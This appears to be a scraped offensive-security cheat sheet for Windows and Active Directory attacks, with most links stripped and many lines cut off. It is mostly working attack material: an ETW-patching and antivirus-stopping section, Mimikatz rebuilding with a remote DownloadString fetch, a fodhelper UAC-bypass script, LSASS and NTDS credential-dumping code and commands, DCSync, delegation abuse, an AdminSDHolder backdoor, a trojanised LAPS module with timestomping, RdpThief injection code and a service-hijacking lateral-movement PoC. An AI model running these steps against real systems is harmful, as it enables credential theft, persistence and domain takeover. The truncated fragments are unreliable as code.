[Link]
fun-and-profit/article/
[Link]
[Link]
[Link]
ETW Block
Event Tracing for Windows
[Link]
Disable PSEtwLogProvider
[Link]
[[Link]]::LoadWithPartialName('[Link]').GetType('[Link]
Patch EtwEventWrite
[Link]
[Link]
[Link]
[Link]
KIS / KES
Kaspersy Internet Security (KIS) / Kaspersky Endpoint Security (KES)
[Link]
unauthorized-manner-(revisited).pdf
Scan Exclusions
Potential scan exclusions:
C:\Windows\System32\LogFiles\
C:\Windows\System32\inetsrv\
C:\Windows\ClusterStorage\
C:\ProgramData\Microsoft\Windows\Hyper-V\
Stop Service
Check if KES Self-Defense is enabled:
Cmd > cd "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Endpoint Security for Windows"
Cmd > [Link] stop_avp_service
Cmd > [Link] start_avp_service
Mimikatz
[Link]
[Link]
[Link]
[Link]
[Link]
Obfuscate Mimikatz
[Link]
[Link]
Invoke-Mimikatz
[Link]
reflectivedllinjection-ps1/
Update .ps1
[Link]
1. Grab source code zip from the latest (or any one you want) release of Mimikatz.
4. Right-click on mimikatz solution > Properties > C/C++ > Set Treat warnings as errors to No
(/WX-) > OK.
6. Transform the resulting powerkatz DLLs to base64 and replace the $PEBytes32 and
$PEBytes64 vars at the bottom of Invoke-Mimikatz.ps1 with a PowerShell script below.
Update-InvokeMimikatz.ps1
$powerkatz32 = [[Link]]::ReadAllBytes("Win32\[Link]")
$powerkatz64 = [[Link]]::ReadAllBytes("x64\[Link]")
$encPowerkatz32 = [[Link]]::ToBase64String($powerkatz32)
$encPowerkatz64 = [[Link]]::ToBase64String($powerkatz64)
$invokeMimikatz = (New-Object [Link]).DownloadString("[Link]
UAC Bypass
User Account Control
[Link]
Enumeration
Check current token privileges and UAC settings with Seatbelt:
PS > .\[Link] TokenPrivileges UAC
[Link]
[Link] DLL hijacking.
[Link]
HackTheBox - Arkham
srrstr.c
#include <windows.h>
return 0;
}
[Link]
[Link]/research/2018/10/31/[Link]
[Link]
fodhelper
[Link]
Create and set registry values (the payload is generated with [Link] ):
Trigger [Link] :
fod.ps1
function Fod {
$cmd = "C:\Windows\Tasks\[Link] -enc <BASE64_CMD>"
copy C:\Windows\system32\WindowsPowerShell\v1.0\[Link] C:\Windows\Tasks\[Link]
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyCon
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "Dele
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(def
Start-Process "C:\Windows\System32\[Link]" -WindowStyle Hidden
Start-Sleep -s 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyCon
}
fod-ng.ps1
function FodNG {
Param (
[String]$cmd = "C:\Windows\system32\WindowsPowerShell\v1.0\[Link] -WindowStyle
)
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction Silentl
[Link]
evading-av/
[Link]
[Link]
[Link]
Tricks
Bypass UAC for file read/write:
Authentication Coercion
[Link]
[Link]
It's a good idea to check if NTLMv1 downgrade is possible when triggering the callbacks.
NTLMv1 Downgrade
Pi t B (MS RPRN)
[Link]
[Link]
SpoolSample
[Link]
[Link]
Spoolsample.ps1
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
PetitPotam (MS-EFSR)
CVE-2021-36942
[Link]
[Link]
[Link]
[Link]
PetitPotam any host (not only a DC with null sessions allowed for the IPC$ share) without initial creds via
proxying through an authenticated session on behalf a DC-relayed machine account:
NTLM Relay DC1 to EXCH1 to get SOCKS ➡️SOCKS proxy PetitPotam to EX1 as DC1$ ➡️
NTLM Relay to EXCH2 to dump hashes
Theory
[Link]
[Link]
[Link]
[Link]
[Link]
Mitigation
[Link]
[Link]
[Link]
ShadowCoerce (MS-FSRVP)
[Link]
[Link]
WebDAV (WebClient)
[Link]
[Link]
Check if callback via WebDAV (HTTP) is possible. It is when the WebClient service is running. If it's
possible, then NTLM Relay to LDAPS on behalf of the relayed machine account is your chance for RBCD
workstation takeover.
Enable WebClient
Put the .searchConnector-ms file on a writable share. When a domain user opens target folder in
explorer, the WebClient service should start automatically:
[Link]-ms
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="[Link]
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>[Link]
</simpleLocation>
</searchConnectorDescription>
[Link]
lnk.ps1
$wsh = New-Object -ComObject [Link]
$lnk = $[Link]("\\SRV01\PublicShare\[Link]")
$[Link] = "\\[Link]\[Link]"
$[Link]()
Azure
ADSync
[Link]
[Link]
PS > Azure-ADConnect -server [Link] -db ADSync
Credentials Dump
Tools
SessionGopher
[Link]
Gopher
[Link]
LaZagne
[Link]
From Memory
[Link]
Local Security Authority Subsystem Service
[Link]
Enumeration
[Link]
subsystem-service-lsass/
MiniDumpWriteDump
Custom Implementations
[Link]
[Link]
[Link]
MiniDump Callbacks
[Link]
passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-
memory-using-minidump-callbacks
[Link]
C# Implementation
[Link]
[Link]
using System;
using [Link];
using [Link];
using [Link];
namespace SharpMiniDump
{
public class Program
{
[DllImport("[Link]")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int
[DllImport("[Link]")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI
[Link]
[Link]
pypykatz
[Link]
SharpHandler
[Link]
[Link]
SharpHandler.ps1
HandleKatz
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
f4c7dfe63387
[Link]
Load SSP
[Link]
[Link]
[Link]
MirrorDump
[Link]
[Link]
DuplicateDump
[Link]
nanodump
[Link]
[Link]
Do it automatically with [Link] magic (using this Python HTTP server with PUT support):
nanodump_ssp.[Link]
#!/usr/bin/env bash
kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print
python3 [Link] --bind=[Link] ${LPORT} &
kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print
[Link]
[Link]
NTFS Transactions
TransactedSharpMiniDump
[Link]
bypass-exfil-dmp-file-to-dropbox
[Link]
CredBandit
[Link]
user-community/
[Link]
[Link]
[Link]
Dumpy
[Link]
rc/[Link]#L216-L429
Kernel Mode
[Link]
CVE-2018-19320
[Link]
[Link]
[Link]
[Link]
[Link]
Physical Memory
Physmem2profit
[Link]
[Link]
[Link]
Server:
PS > .\[Link] --ip [Link] --port 1337 --verbose [--hidden]
Client:
[Link]
[Link]
[Link]
[Link]
[Link]
Tools
[Link]
[Link]
from-lsass-process-without-mimikatz#comsvcs-dll
[Link]
[Link]
[Link]
One-liner:
ProcDump
[Link]
[Link]
[Link]
Mimikatz
[Link]
[Link]
In case of Windows 10 version 1803-1809 use Mimikatz v2.1.1, see Key import error
Parse MiniDump:
kiwi
pypykatz
[Link]
spraykatz
[Link]
Dumpert
[Link]
av-edr/
[Link]
Dump [Link] using direct syscalls and removing user-land API hooks:
1. Compile [Link].
2. Convert it to position independent shellcode with [Link]: python3
[Link] [Link] .
3. Use a shellcode loader of your choice to dump LSASS.
lsassy
[Link]
[Link]
[Link]
$ lsassy [Link]/24 -d [Link] -u snovvcrash -p 'Passw0rd!'
$ cme smb [Link]/24 -u snovvcrash -p 'Passw0rd!' -M lsassy
MalSeclogon
[Link]
[Link]
[Link]
[Link]
[Link]
Mimikatz
Credential Manager
Mimikatz
Cmd > .\[Link] "privilege::debug" "token::elevate" "log [Link]" "vault::cred /patch" "e
DPAPI
Data Protection API
[Link]
Unhide files:
Mimikatz
[Link]
[Link]
[Link]
SharpDPAPI.ps1
Retrieve the domain DPAPI backup key (never changes) from a DC and decrypt master key blobs for any
user in the domain with it (needs DA privileges):
SharpChrome
[Link]
SharpChromium
[Link]
Linux
GNOME Keyrings
HTB{ RPG }
snovvcrash@gh-pages:~$ _
List keyrings:
import gnomekeyring as gk
def list_keyring_items(keyring_name):
print(f'*********{keyring_name}**********')
gk.unlock_sync(keyring_name, 'Passw0rd!')
item_keys = gk.list_item_ids_sync(keyring_name)
for key in item_keys:
item_info = gk.item_get_info_sync(keyring_name, key)
print(f'Number: {key}')
print(f'Name: {item_info.get_display_name()}')
print(f'Password: {item_info.get_secret()}')
list_keyring_items('mykeyring')
Tools
mimipenguin
[Link]
LSA
Local Security Authority
[Link]
[Link]
SharpSecDump
[Link]
[Link]
SharpSecDump.ps1
MSCash2/MSCache2 (DCC2)
[Link]
cracking-mscash-cached-domain-credentials
Domain cached credentials are stored within LSA secrets in HKLM:\SECURITY registry hive:
[Link]
Export registry hives and extract cached creds locally with [Link] :
[Link]
[Link]
Export registry hives and extract cached creds locally with [Link] :
Crack
Create Shadow
Locate [Link] :
cd \Windows\Temp
powershell -c "Add-Content add_vol.txt 'set context persistent nowriters'"
add_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\[Link]
set verbose on
begin backup
add volume c: alias DCROOT
create
expose %DCROOT% w:
end backup
cd \Windows\Temp
copy w:\Windows\NTDS\[Link] [Link]
cmd /c [Link] save hklm\system [Link]
cmd /c [Link] save hklm\sam [Link]
cmd /c [Link] save hklm\security [Link]
$ [Link] MEGACORP/administrator:'Passw0rd!'@[Link]
use C$
cd windows/temp
get [Link]
get [Link]
get [Link]
get [Link]
Clean Up
Remove the shadow volume:
cd \Windows\Temp
powershell -c "Add-Content delete_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content delete_vol.txt 'set metadata C:\Windows\Temp\[Link]'"
powershell -c "Add-Content delete_vol.txt 'set verbose on'"
powershell -c "Add-Content delete_vol.txt 'unexpose w:'"
powershell -c "Add-Content delete_vol.txt 'delete shadows volume c:'"
powershell -c "Add-Content delete_vol.txt 'reset'"
cmd /c [Link] /s delete_vol.txt
delete_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\[Link]
set verbose on
unexpose w:
delete shadows volume c:
reset
cd \Windows\Temp
rm [Link]
rm [Link]
rm [Link]
rm [Link]
rm C:\Windows\Temp\[Link]
rm add_vol.txt
rm delete_vol.txt
Parse
Parse with [Link]:
Reversible Encryption
[Link]
[Link]
[Link] > Default Domain Policy > Computer Configuration > Policies > Windows Settings > Security
Settings > Account Policies > Password Policy > Store passwords using reversible encryption >
Enabled ✔
Password Filter
[Link]
[Link]
[Link]
[Link]
Abuse PasswordChangeNotify to load a custom DLL capturing plaintext credentials when a password
change is performed (the passwords will appear in C:\l Fil ? t t files):
RDP
Remote Desktop Protocol
RdpThief
[Link]
[Link]
[Link]
[Link]
[Link]
Some custom code that waits for [Link] to be run and loads the malicious library into it:
[Link]
using System;
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];
namespace RdpThiefInjector
{
class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI
[DllImport("[Link]")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp
[DllImport("[Link]")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui
[DllImport("kernel32", CharSet = [Link], ExactSpelling = true, SetLastError = tr
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
The DLL can be converted to shellcode with [Link] (sRDI approach) and then
be injected into the target process. That would help to avoid dropping the DLL to disk:
beacon> rdpthief_enable
beacon> rdpthief_dump
beacon> rdpthief_disable
[Link]
by-abusing-credssp-tspkg-rdp-sso/
RPC
SAM
Security Account Manager
[Link]
vssadmin
DCSync
DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
[Link]
hashes-from-domain-controller-with-dcsync
Tools
Mimikatz
Invoke-Mimikatz
[Link]
Mimikatz.ps1
Invoke-DCSync.ps1
[Link]
DCSync.ps1
[Link]
Targeted DCSync
When performing targeted DCSync (e.g., for persistence purposes) choose the most valuable accounts. One
can use the following LDAP query to search for effective domain admins ( adminCount=1 ) as well as DC
computer accounts ( SERVER_TRUST_ACCOUNT bit or userAccountControl=8192 is set):
(&
(|
(&(objectCategory=person)(objectClass=user))
(&(objectCategory=computer)(objectClass=computer))
)
(!(userAccountControl:1.2.840.113556.1.4.803:=2))
(|
(adminCount=1)
(userAccountControl:1.2.840.113556.1.4.803:=8192)
)
)
Delegation Abuse
[Link]
directory/
[Link]
[Link]
[Link]
[Link]
Constrained
Resource-based Constrained
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
Shenanigans Labs
[Link]
[Link]
constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
[Link]
rbcd/
[Link]
PowerView:
LDAP:
CrackMapExec:
Define credentials for the compromised account with the necessary DACL:
Add new machine account and configure RBCD (i.e., set msDS-
AllowedToActOnBehalfOfOtherIdentity property to value of the new machine account SID) on the
vulnerable host (DC01):
Ask TGS for CIFS and also inject other potentially useful service names into the ticket (sname field is not
protected in TGS-REQ):
If the ticket cannot be imported or there's no access to corresponding services, troubleshoot it:
Try using FQDN to NetBIOS under /msdsspn parameter (i.e., CIFS/[Link] >
CIFS/DC01 ).
After the ticket has been successfully imported we can go for filesystem access (CIFS), PSRemoting
(WSMAN), DCSync (LDAP) and so on:
PS > klist
# CIFS
PS > cd \\[Link]\c$
PS > ls
PS > c:
# WSMAN
PS > Enter-PSSession -ComputerName [Link]
PS > exit
# LDAP
PS > ...DCSync...
Cleanup:
PowerView 4.0
rbcd-attack
[Link]
rbcd_permissions
[Link]
Bronze Bit
CVE-2020-17049
[Link]
[Link]
Calculate Kerberos keys for the fake machine account with Get-KerberosAESKey:
PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine1337
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815
AES256 Key: 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98
Or with Mimikatz:
[Link]
Request a U2U ticket providing TGT within the /ticket and /tgs options and specifying the user to
impersonate within the /targetuser option (this is an S4U2self request):
Obtain a hex view of the current TGT session key (RC4 HMAC):
Go for the S4U attack providing the initial TGT within the /ticket option and the forwardable TGS (got
from the U2U request) within the /tgs option (only the S4U2proxy part is performed):
Automatization
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
sAMAccountName Spoofing
CVE-2021-42278, CVE-2021-42287
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Check
Windows
Look at the size of the returned TGT. If the DC is not vulnerable, the TGT will contain the PAC
part and be obviously larger:
Linux
Exploit
Windows
Linux
[Link]
Using noPac:
[Link]
dNSHostName Spoofing
CVE-2022-26923
Abuse RBCD
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Unconstrained
[Link]
Enumerate:
Use ticket_converter or [Link] to convert the TGT from .kirbi to .ccache (usable with
impacket):
"Relaying" Kerberos
[Link]
Requirements:
Permissions to add an SPN for the owned computer account and a new DNS record in AD.
1. Grab owned computer account password to calculate its Kerberos AES key. This is done automatically
when extracting the password remotely with [Link] , or it will be done later by
[Link] when providing it the password in hex from local [Link] output:
# Remotely
$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] -ts
...
MEGACORP\SRV01$:aes256-cts-hmac-sha1-96:00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00
# Locally
Cmd > [Link] save hklm\system [Link]
Cmd > [Link] save hklm\security [Link]
$ [Link] -system [Link] -security [Link] LOCAL
...
[*] $[Link]
$[Link]:plain_password_hex:<PLAIN_PASSWORD_HEX>
2. Add a malicious SPN for the owned computer account with unconstrained delegation:
Name: [Link]
Address: [Link]
5. Start [Link] providing AES key of the owned computer account or its plain password in hex
with salt:
6. Coerce the authentication to attacker's host from DC01 by triggering printer bug:
7. Export extracted TGT and perform DCSync to get krbtgt hash (or any other privileged account hash):
$ export KRB5CCNAME=`pwd`/'DC01$@MEGACORP.LOCAL_krbtgt@[Link]'
$ [Link] [Link] -dc-ip <DC01_IP> -just-dc-user 'MEGACORP\krbtgt' -k -no-p
Other scenarios:
In this blogpost it is described how to perform the attack by abusing a service (user) account with
unconstrained delegation enabled.
In this blogpost it is described how to perform the attack from Windows by extracting TGT with Inveigh.
Discovery
PS > ([ADSI]"LDAP://[Link]").dc
PS > [[Link]]::GetComputerDomain().DomainControllers
[Link]
[Link]
DC IPs
Ask _ldap._tcp.dc._msdcs :
Subnets
[Link]
DnsAdmins
[Link]
a0f779b8dc83
[Link]
[Link]
[Link]
system-to-domain-compromise
[Link]
Exploit:
Cleanup:
Dominance
Silver Ticket
[Link]
Rubeus
Impacket
Golden Ticket
[Link]
[Link]
Impacket
Diamond Ticket
[Link]
AdminSDHolder Modification
[Link]
and-backdoor-adminsdholder-to-obtain-domain-admin-persistence
[Link]
[Link]
Create a Backdoor
Add a new domain user or grant an existent user GenericAll permissions for the AdminSDHolder
container:
Check that granting AdminSDHolder permissions was successful (may take 60+ minutes for the security
ACLs to get updated for that user):
AceType : AccessAllowed
ObjectDN : CN=AdminSDHolder,CN=System,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID :
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed
Now you can add yourself (the "snovvcrash" user) to the Domain Admins group any time and do stuff
(actually adding the user to Domain Admins every time is not necessary, as the AdminCount attribute will
stay 1 anyways after adding the backdoor user to a protected group for the first time):
AceType : AccessAllowed
ObjectDN : CN=Domain Admins,CN=Users,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-2284550090-1208917427-1204316795-512
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed
admincount
----------
1
[Link]
[Link]
Clear the AdminCount attribute (will be resetted if the user is still in the AdminSDHolder container):
PV3 > Set-DomainObject -Identity snovvcrash -Domain [Link] -Clear admincount -Verbose
Or
PS > Get-ADUser snovvcrash | Set-ADObject -Clear admincount
[Link]
When DA is owned (or any other account with DS-Install-Replica permission), you can create a fake
machine account (or use an existing real machine account), set SERVER_TRUST_ACCOUNT bit for it and
perform DCSync on behalf of this account to regain domain dominance.
3. Perform DCSync:
4. Cleanup:
[Link]
Windows
Linux
[Link]
GPO Abuse
Group Policy Objects
[Link]
[Link]
[Link]
Search for writable GPOs for the Domain Users security group:
Permissions Abuse
Recon
Note: if I list all OUs affected by this GPO with PowerView, there will be no domain shown (like in
BloodHound), but in Group Policy Manager we can see that it is presented.
Check if computer settings are enabled for this GPO (and enable them if not):
[Link]
List users that can create a GPO and link it to a specific OU:
GPOImmediateTask
PowerView3.ps1 (New-GPOImmediateTask)
$ echo 'sc -path "c:\\windows\\temp\\[Link]" -value "GPO Abuse PoC..."' | iconv -t UTF-16LE
cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC
PS > New-GPOImmediateTask -TaskName Pentest -GPODisplayName [Link] -CommandArguments '-
Cleanup:
GPPrefRegistryValue
Check if GPMC is installed and if it's not, install it as a Windows Feature (requires elevation):
Create an evil GPO and link it to the target OU (will be visible in the management console):
Prepare your payload, put it to the network share and create an autorun value in the evil GPO to run the
payload on boot/logon:
PS > Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Soft
WMI Filters
[Link]
Tools
SharpGPOAbuse
[Link]
pyGPOAbuse
[Link]
Kerberos
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Using faketime :
Kerberos on Linux
Check KRB5CCNAME environment variable contents:
$ kinit
$ klist
$ kvno MSSQLSvc/[Link]
$ klist
FreeIPA
Kerberos Relay
[Link]
[Link]
[Link]
Tools
KrbRelay
[Link]
[Link]
[Link]
KrbRelayUp
[Link]
[Link]
attacks-leveraging-kerberos-relaying-krbrelayup/
RELAY
Relay authentication to LDAP(S) with automatic machine creation and configure RBCD:
SPAWN
That makes GenericWrite on a user effectively equal to DCSync right on that user.
DSInternals
[Link]
[Link]
Whisker
[Link]
8ee1a53566ab
[Link]
List all the values of the the msDS-KeyCredentialLink attribute of a target object:
Clear all the values of the the msDS-KeyCredentialLink attribute of a target object:
pywhisker
[Link]
LAPS
Local Administrator Password Solution
[Link]
Enabled?
Check locally:
Check in LDAP:
Get Passwords
PowerShell
ActiveDirectory
Query LDAP for AD computer objects with their passwords and its expiration date:
Get-LAPSPasswords
[Link]
passwords/
[Link]
LAPSToolkit
[Link]
[Link]
Get passwords:
PS > Get-LAPSComputers
CrackMapExec
[Link]
[Link]
LAPSDumper
[Link]
Persistence
Increase the expiration time of a compromised computer object's ms-mcs-admpwdexpirationtime
property value:
Backdoor
Recompile admpwd having added some evil code here:
PasswordInfo pi = [Link](dn);
var line = $"{[Link]} : {[Link]}";
[Link](@"C:\Temp\[Link]", line);
WriteObject(pi);
Replace the original [Link] assembly with a newly generated one and fix the timestamp:
beacon> cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\[Link]
beacon> upload [Link]
beacon> timestomp [Link] [Link].psd1
beacon> ls
Lateral Movement
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
them
[Link]
logon-types
Overpass-the-Hash
Mimikatz
[Link]
[Link]
Create a new process with dummy creds (Logon type 9), open the LSASS process and patch it with the
supplied NT hash. This causes the normal Kerberos authentication process to kick off as normal as if the
user had normally logged on, turning the supplied hash into a fully-fledged TGT:
It also work for local accounts but for the reason that patching LSASS does not change the
security information or user information for this process, the new credentials in LSASS can
correctly be used only for network authentication and not for identifying the local user account
associated with the process. (paraphrased from here)
That's why for local accounts such options as net use \\localhost\c$ , WMI calls or
PsExec can be considered.
Rubeus
[Link]
[Link]
Create a sacrificial process (Logon type 9), legitimately ask Kerberos for TGT, import it and interact with the
process (need elevated context):
If operating Rubeus from a C2 agent, you can steal_token instead of using /show option.
Create a new process with dummy creds (Logon type 9) manually, then use Rubeus with user's NT hash to
ask for a TGT and import it:
A more opsec safe approach is to use AES key (KeyType 0x12) instead of RC4-HMAC (KeyType 0x17)
alongside with /opsec switch which instructs Rubeus not to do pre-auth (mimics standard Kerberos
behavior):
Pass-the-Hash
[Link]
NamedPipePTH
[Link]
[Link]
[Link]
Impersonate a user with Pass-the-Hash for local actions (network authentication does not work with
Impersonation Token , only with Delegation Token ):
PtH Notes
[Link]
HKLM\SOFTWARE\Microsoft\Windows\Cur
LocalAccountTokenFilterPolicy
rentVersion\Policies\System\
HKLM\SOFTWARE\Microsoft\Windows\Cur
FilterAdministratorToken
rentVersion\Policies\System\
If FilterAdministratorToken exists and is set to 1 (doesn't exist by default), builtin local admin
account (RID 500) is affected by UAC and PtH will fail:
Pass-the-Ticket
Rubeus
Show Kerberos tickets in all logon sessions if elevated (otherwise it will only show tickets in current logon
session):
Create a sacrificial process (Logon type 9) and import the TGT into its logon session:
You can also extract and reuse TGS tickets with this technique.
RDP
[Link]
[Link]
Enable RDP
From meterpreter:
From PowerShell:
Restricted Admin
[Link]
[Link]
[Link]
[Link]
RDP with PtH: RDP needs a plaintext password unless Restricted Admin mode is enabled.
Use:
$ xfreerdp /pth
Cmd > [Link] /restrictedAdmin
NLA
Disable NLA:
[Link]
[Link]
inremoted-in-to-a-computer/
Tools
[Link]
[Link]
Tools
SharpRDP
[Link]
[Link]
SharpRDPHijack
[Link]
RPC
[Link]
SCM
[Link]
[Link]
[Link]
Snippets/blob/main/Fileless%20Lateral%20Movement/[Link]
Custom PoC:
[Link]
using System;
using [Link];
namespace SharpSCExec
{
class Program
{
[DllImport("[Link]", SetLastError = true, BestFitMapping = false, ThrowOnUnmappa
[return: MarshalAs([Link])]
internal static extern bool LogonUser([MarshalAs([Link])] string lpszUser
[DllImport("[Link]")]
public static extern uint GetLastError();
[StructLayout([Link])]
public class QueryServiceConfigStruct
{
[MarshalAs([Link].U4)]
public UInt32 dwServiceType;
[MarshalAs([Link].U4)]
public UInt32 dwStartType;
[MarshalAs([Link].U4)]
public UInt32 dwErrorControl;
[MarshalAs([Link])]
public String lpBinaryPathName;
[MarshalAs([Link])]
public String lpLoadOrderGroup;
[MarshalAs([Link].U4)]
public UInt32 dwTagID;
[MarshalAs([Link])]
public String lpDependencies;
[MarshalAs([Link])]
public String lpServiceStartName;
[MarshalAs([Link])]
public String lpDisplayName;
};
if ([Link] < 3)
{
[Link]("Usage: [Link] <TARGET> <SERVICE> <PAYLOAD>");
[Link]("Example: [Link] SRV01 SensorService \"[Link] /c p
return;
}
if ([Link] > 3)
{
string domain = args[3];
string username = args[4];
string password = args[5];
IntPtr hToken = [Link];
if (!LogonUser(username, domain, password, 0x9, 0, out hToken))
{
[Link]($"[-] LogonUser failed: {GetLastError()}");
[Link](0);
}
if (!ImpersonateLoggedOnUser(hToken))
{
[Link]($"[-] ImpersonateLoggedOnUser failed: {GetLastError()}")
[Link](0);
}
}
UInt32 bytesNeeded;
bool res = QueryServiceConfig(hService, [Link], 0, out bytesNeeded);
IntPtr ptr = [Link]((int)bytesNeeded);
res = QueryServiceConfig(hService, ptr, bytesNeeded, out bytesNeeded);
QueryServiceConfigStruct qsc = new QueryServiceConfigStruct();
[Link](ptr, qsc);
string origBinaryPath = [Link];
[Link]($"[*] Extracted original service binary: \"{origBinaryPath}\"")
res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
0, // SERVICE_NO_CHANGE
payload,
null,
null,
null,
null,
null,
null);
if (res)
{
[Link]("[+] Service binary changed successfully!");
}
else
{
[Link]($"[-] Failed changing service binary: {GetLastError()}");
}
res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
0, // SERVICE_NO_CHANGE
origBinaryPath,
null,
null,
null,
null,
null,
null);
if (res)
{
[Link]("[+] Original service binary restored successfully!");
}
else
{
[Link]($"[-] Failed restoring original service binary: {GetLastErro
}
}
}
}
RunAs
Cmd
[Link]
PowerShell
[Link]
Start-Process
Invoke-Command
With -Credential :
With -Session :
[Link]
RunAs.ps1
PS > Invoke-RunAs -UserName snovvcrash -Password 'Passw0rd!' -Domain MEGACORP -Cmd [Link] -Ar
Invoke-CommandAs
[Link]
ScheduledTask.ps1
[Link]
CommandAs.ps1
[Link]
PS > . .\Invoke-ScheduledTask.ps1
PS > . .\Invoke-CommandAs.ps1
PS > Invoke-CommandAs -ScriptBlock {whoami} -AsUser $cred
RunasCs
[Link]
SMB
PsExec
[Link]
[Link]
[Link]
$ [Link] snovvcrash:'Passw0rd!'@[Link]
$ rlwrap -cAr [Link] -hashes :fc525c9683e8fe067095ba2ddc971889 [Link]/snovvcrash@19
SPN-jacking
WinRM / PSRemoting
Windows Remote Management
[Link]
[Link]
[Link]
interactive-logons
[Link]
Enable WinRM
Using PowerShell (takes ~1m to be applied):
From Windows
[Link]
Evil-WinRM
[Link]
Basic syntax:
Always use full username when authenticating as a domain user, because if there're 2 users
sharing the same name (a local user and a domain user), say WORKGROUP\Administrator
and MEGACORP\Administrator , and you're trying to authenticate as a domain admin without
providing the domain prefix, authentication will fail.
pwsh
$ pwsh
PS > $sess = New-PSSession -ComputerName [Link] -Credential $cred -Authentication Negoti
PS > Enter-PSSession -Session $sess
WMI
[Link]
[Link]
PowerShell
Basic command to check if we have privileges to execute WMI:
PS > Get-WmiObject -Credential $cred -ComputerName PC01 -Namespace "root" -class "__Namespace"
Execute commands:
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -Argumen
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -Argumen
WMI Enumeration
[Link]
[Link]
[Link]
[Link]
Invoke-LocalWMIEnum.ps1
Get-WmiObject -Class Win32_ComputerSystem | select BootupState,UserName,TotalPhysicalMemory,Sy
Get-WmiObject -Class Win32_OperatingSystem | fl *
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | select PSComputerName
Get-WmiObject Win32_Service | select Name,State,StartName,PathName | ? {$_.State -like "Runnin
Get-WmiObject -Class Win32_LoggedOnUser | select Antecedent,Dependent,PSComputerName | ft -Aut
Get-WmiObject -Class Win32_LogonSession | select AuthenticationPackage,LogonID,StartTime,Scope
Get-WmiObject -Class Win32_QuickFixEngineering | select PSComputerName,Description,HotFixID,In
Get-WmiObject -Class Win32_Share | select Type,Name,AllowMaximum,Description,Scope | ft -AutoS
Get-WmiObject -Class Win32_IP4RouteTable | select PSComputerName,Caption,Mask,Metric1,Protocol
Get-WmiObject -Class Win32_UserAccount | ft -AutoSize
Get-WmiObject -Class Win32_Group | ft -AutoSize
[Link]
When loading the cradle from a semi-interactive shell, you can combine with Invoke-WmiMethod to
spawn a new PowerShell process:
SharpWMI
[Link]
LDAP
Lightweight Directory Access Protocol
[Link]
[Link]
2003/cc772839(v=ws.10)?redirectedfrom=MSDN
[Link]
Theory
Some Extensible Match Matching Rules:
UserAccountControl
[Link]
[Link]
